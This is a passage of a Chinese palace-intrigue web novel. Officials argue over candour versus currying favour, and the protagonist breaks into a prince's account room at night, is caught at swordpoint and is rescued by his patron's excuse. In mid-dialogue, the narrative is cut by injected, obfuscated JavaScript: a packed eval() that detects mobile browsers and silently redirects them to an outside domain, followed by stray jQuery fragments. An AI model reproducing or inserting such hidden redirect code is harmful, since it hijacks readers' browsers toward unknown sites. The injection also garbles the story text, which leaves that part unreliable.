还未见人,就听到侯珠和何琦的声音,他俩被指派了和齐守希合作修书,近些日子在京兆府走动频繁,今日也早约好了要来取一些要档案资料。
“吴博士今日的话,是探你的立场呢,你还那样说。”何琦和侯珠边说着话,边踏入议事厅。
侯珠举起手,挡到他跟前:“不必多言。”
两人之间的谈话有些不睦,齐守希不禁好奇:“怎么了?”
何琦道:“正好,守希,你来评评理。”
齐守希点点头,道:“你说。”
何琦说道:“今年天冷得早,恐怕明年开春也晚,朝廷担心南方农民日子难过,想把现在户部的云侍郎,调去江西主理农事调度,兼工官之职,参与当地的水利修监。”
齐守希道:“云侍郎在户部多年,掌管粮谷运输,经验丰富,为官也清廉刚正,是很好的人选。”
侯珠坐在椅子,方才还一言不发,听到齐守希的话后,立马有了反应:“我也是这样说,况且云侍郎当年还是从江西科举上的朝廷,此番可以回乡做官,两全其美。”,
何琦摇摇头,叹道:“可云侍郎也是吴博士从前的学生,平日里和吴博士关系亲近,是吴博士在朝中经营多年培养起来的帮手,你支持云侍郎远派江西,不是要折你老师的手脚吗?”
侯珠不屑道:“我不过实话实说,莫说是吴博士,纵使面对宸帝,我还是只会说我的真心所想。”
何琦道:“可你实话实说了也没用,今日不过是吴博士和你随意闲聊,你的意见根本传不到议政殿,你明知道吴博士不愿云侍郎外派,索性你还不如顺了吴博士的心,说句他爱听的。”
何琦随意翻看桌案上累摞的案簿,一边对侯珠道:“你才刚进文心阁,什么根基都没有,吴博士是你的老师,对你有心栽培,今日问你的意见,你却这样逆他的意,他以后还怎么对你尽心?”
侯珠倚坐在官椅上,玩着腰间悬佩的流苏,一副无所谓的样子:“我进朝廷,是为了国家和万民百姓,不是为了困在那一方小楼阁里和他们你争我斗的,我所说的每句话,都是为了朝廷,为了自己的心。吴博士愿意怎么想便怎么想,要怎么做也随他自己。”
侯珠继续道:“他的格局要是那么小,对此介怀,那他也不配做我的老师。”
何琦摇头无奈地叹道:“君子藏器于身,待时而动,你以后想在朝廷里走动,没点关系、没点支持可怎么行?你这样直言不讳的要得罪不少人,到时候真想办事,只怕你一把能拿出手的刀都没有。”
侯珠阖目养神,回道:“若然要我虚与委蛇,带着面具日日迎俗,那这官不做也罢。”
何琦和侯珠争不出个所以然,谁也说服不了谁。何琦不打算再辩,转头问齐守希,道:“我们要的资料呢。”
齐守希抬了抬下巴,眼神落在何琦正看的那摞书上。
何琦和侯珠把资料带走后,齐守希也离开了京兆府,近日清闲,他回到苏府时,门口刚点起灯笼。
门前停着一队车马,几个人围着搬搬抬抬些什么东西,齐守希远远望着,知道那是苏篪回来了。
苏篪前月有书信来,估摸着是这几日回京,所以齐守希这几日回府都回得比较早。
齐守希从马上跃下,迎上前去,见到苏篪后,躬身喊了一声:“大人。”
苏篪点点头,与他一同入了府,留下背后的车马仆人自行打点。
苏篪问起他的近况:“我离京数月,你在京兆府的事情进展可还顺利?”
齐守希回答道:“都顺利,今日还给何琦跟侯珠送呈了一些新的资料,他们还说,过些日子想让我去文心阁守着,对资料有些什么疑惑的,也好直接问。”
苏篪回道:“嗯,我上书和吏部打声招呼,给你做个出入的凭牌,你在文心阁随同一道修书,也免得他们两处奔波来京兆府问你。”
不知不觉,两人已经走到了书房绛云轩,下人送来热茶。
苏篪接过那下人呈上的茶,顺便吩咐道:“你同丹娘说,找出去岁宫里派的干菊,这几日我饮的茶里,都泡上菊花。”
齐守希好奇问道:“怎的大人忽地想饮菊花茶了?”
苏篪拂衣坐下,才回道:“前些日子起风了,天气寒凉我又咳了起来,菊花茶润喉舒肺,想着用来解咳最合适不过。”
齐守希走上前去将方才置在一旁的热茶递给苏篪:“天干物燥,大人要多饮茶水,五脏润泽,自然也不咳了。”
***
是夜,齐守希躺在床上辗转反侧,不停想着今早在议事堂无意间发现的那本类似账册的东西。
昱王府。
出现在议事堂的账簿,从入账的数额看,账本的主人必定是食邑万户以上的贵族王公,齐守希怀疑,那是昱王的账本。
齐守希一路避开昱王府守夜的宫人,悄悄地来到账房处,想要找到账本,和今日在京兆府见到的那本核一下
账。昱王南下安州给旧部贺寿还没有回京,风凭云也去了寒州,王府空虚,齐守希现下潜入也多了几分底气。
高大的书架上摆满了记录昱王封地多年收入的账册,去年和今年的就摆在最就手的一层,齐守希抽出一本,借着烛光仔细核对着:
正月廿三清账入
粟八千二百七十石
米九千零七石
…
齐守希一边看着手中账簿数字,一边回想在议事堂看到的那本,两本账册的名目是一样的,议事堂的那本记录的难道是昱王的私账?
只是昱王为什么要另作一份秘密账册藏在京兆府里,京兆府的那本有多笔不定时的大额支出,可齐守希手中的这本,出账都正常,并无异样。
到底哪一本记录的出入才是真的,又是谁在伪造昱王的账?
齐守希陷入沉思,可此地不宜久留,他合了账本放回原处,打算离开。
刚转头,夜深人静的账房里传来开门的声音,紧接着,昱王便出现了,他举着剑,刀锋如霜,正对着齐守希。
“你在这里做什么?”男人走近,剑就抵在齐守希的颈边。
齐守希双眸微张,想来风启澜已于近日回京,只是消息还没传到他处,这才被当场撞破。
“说,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386942|184199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在这里做什么?”见齐守希没说话,昱王又问了一次。
齐守希一下不知作何解释,面上仍镇静:“我…”
风启澜挑眉,侧耳等着解释。
齐守希本脑内快速飞转,想要找到一个合适的理由,只是颈边的剑锋仿佛没有太多的耐心再等下去。
“是我叫他来的。”
就在齐守希以为自己将交代在风启澜的手下时,门外传来苏篪的声音。
见是苏篪,齐守希难免惊诧,愣在原地,强按住自己现在就上去问问他怎么也会大半夜地来昱王府的冲动。
“小臣往同济城办事时,杨大人托我归还先前殿下借他赏玩的洞庭秋帖,我想这那秋帖名贵,世间仅存一副,便连夜送来,放到王府库房里。”
就算是送东西,大半夜地潜入王府也很荒谬,齐守希恐怕风启澜不会买苏篪的帐。
苏篪俯着身子,看不见脸上的表情,仍在解释道:“守希为我掌灯走在前头,想是不认得王府的路,才误进了账房,开了账房的门。”
账房和库房距离不远。
齐守希脸上看起来毫无波澜,也望着风启澜,仿佛真的是跟着苏篪入府办一件再寻常不过的事。
风启澜面色缓和了一些,将信将疑,剑还架在齐守希身上。
见风启澜无甚动作,苏篪只好继续解释道:“秋帖名贵,必须要早日送呈王府。”
风启澜垂眸稍作沉思,很快便把剑收回剑鞘,对齐守希说道:“不认路,就不要一个人乱跑,我认得你也便罢了,不认得的侍卫把你当成盗贼,伤了你的话,后果不就严重了?这么大的人了行事还这样不加考虑。”
这番话看似责备,其实也不痛不痒。
说完,风启澜便转身向苏篪走去,没有再理会齐守希。
齐守希拱手回道:“是,学生谨记教诲,下不为例。”
苏篪一番话,齐守希这荒唐可疑的行为,风启澜也不再疑心。
“秋帖已带来了?”风启澜问苏篪。
“是,已带来了,殿下既然在,开了门放进库房就是。”苏篪和风启澜离开账房,往库房去了。
齐守希想着一些事情,在昱王府外等了许久,终于等到苏篪上马车。
“你今日行事太过莽撞,夜闯王府,还敢入账房,就是真的要查什么,也该先同我商量。”苏篪语气严肃,少有地对齐守希训斥起来。
“我…”齐守希正要解释,抬头望见苏篪严厉的目光,又瞬间垂下了头。
他解释道:“我只是不愿大人牵涉其中。”
苏篪没有继续说什么责备的话,只道:“吃一堑,长一智,往后再行险事,需得让我知晓。”
齐守希自知没有什么可以再辩驳的,只回道:“是。”
直至回到府里,苏篪都没有问起齐守希为什么要去昱王府,齐守希也不至于蠢到不问自招。
一下马车,在门口等候多时的屏山赶紧提着灯笼迎了上来,给他照路:“公子,你回来了。”
齐守希没有回话,冷着脸拿过屏山手里的灯笼,自己走在前头,回日晞阁去了。